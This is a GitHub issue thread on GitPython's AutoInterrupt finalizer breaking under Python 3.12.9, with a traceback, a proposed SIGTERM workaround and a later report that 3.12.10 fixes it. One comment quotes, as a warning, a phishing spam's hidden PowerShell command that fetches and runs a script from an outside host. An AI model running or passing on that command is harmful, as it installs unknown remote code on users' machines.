GitPython icon indicating copy to clipboard operation
GitPython copied to clipboard

AutoInterrupt is broken with Python 3.12.9

Open ziyao233 opened this issue 10 months ago • 6 comments

Refer to the comment, CPython is refactoring stdlib modules with lazy import, improving performance on loading.

Unfortunately, this breaks the AutoInterrupt wrapper in GitPython, whose finalizer makes use of subprocess.Popen.terminate(). After the refactor of subprocess module1, the terminate() method may lazily load signal module, which is problematic if it is invoked during the interpreter finalization.

A real-world reproducer is the spdxcheck.py2 script in Linux kernel,

$ ./scripts/spdxcheck.py outgoing/clock/v3/v3-0001-dt-bindings-clock-Document-clock-and-reset-unit-o.patch 
Exception ignored in: <function Git.AutoInterrupt.__del__ at 0x7f25d89cd260>
Traceback (most recent call last):
  File "/usr/lib/python3.12/site-packages/git/cmd.py", line 790, in __del__
  File "/usr/lib/python3.12/site-packages/git/cmd.py", line 781, in _terminate
  File "/usr/lib/python3.12/subprocess.py", line 2220, in terminate
ImportError: sys.meta_path is None, Python is likely shutting down

ziyao233 avatar Feb 16 '25 16:02 ziyao233

Python-side fixes will be in the next 3.12 and 3.13 patch releases. What gitpython can do to work around it is something along the lines of this workaround within git.cmd._terminate:

import signal   # top of the git/cmd.py file.

...

    def __del__(self):  # Git.AutoInterrupt.__del__
        ...
        try:
            self.$PROC.terminate()
        except ImportError:
            # workaround for https://github.com/python/cpython/issues/118761#issuecomment-2661504264 in 3.12.9 and 3.13.2
            self.$PROC.send_signal(signal.SIGTERM)
        ...

gpshead avatar Feb 16 '25 19:02 gpshead

That's somewhat awkward, you could just always import signal at the top level and call .send_signal(signal.SIGTERM) itself as in the exception handler. But at least leave a comment as to why, otherwise someone may see that and want to refactor it into a .terminate() call again. Whether that needs to persist depends on how long unpatched pythons for this remain in the wild after our next patch releases.

gpshead avatar Feb 16 '25 19:02 gpshead

That workaround is POSIX platform specific, .send_signal on Windows will still have the issue but .terminate itself should work there as it calls a windows specific API directly.

gpshead avatar Feb 16 '25 19:02 gpshead

Thanks a lot for reporting and sketching out a possible workaround.

Byron avatar Feb 17 '25 06:02 Byron

maybe this will solve your problem click

DONT DO THIS. This is not only a spam, but even a phishing which leads you to run

powershell -WindowStyle Hidden -Command ([ScriptBlock]::Create((irm http://customamusement.com/pagecable/guardoffice))).Invoke()

if you're on a Windows system. I've not inspected the underlying script but am sure something bad may happen.

ziyao233 avatar Apr 10 '25 03:04 ziyao233

I ran into this issue, upgraded to Python 3.12.10, and the issue went away. So I suspect that this issue is resolved.

Apanatshka avatar Apr 28 '25 12:04 Apanatshka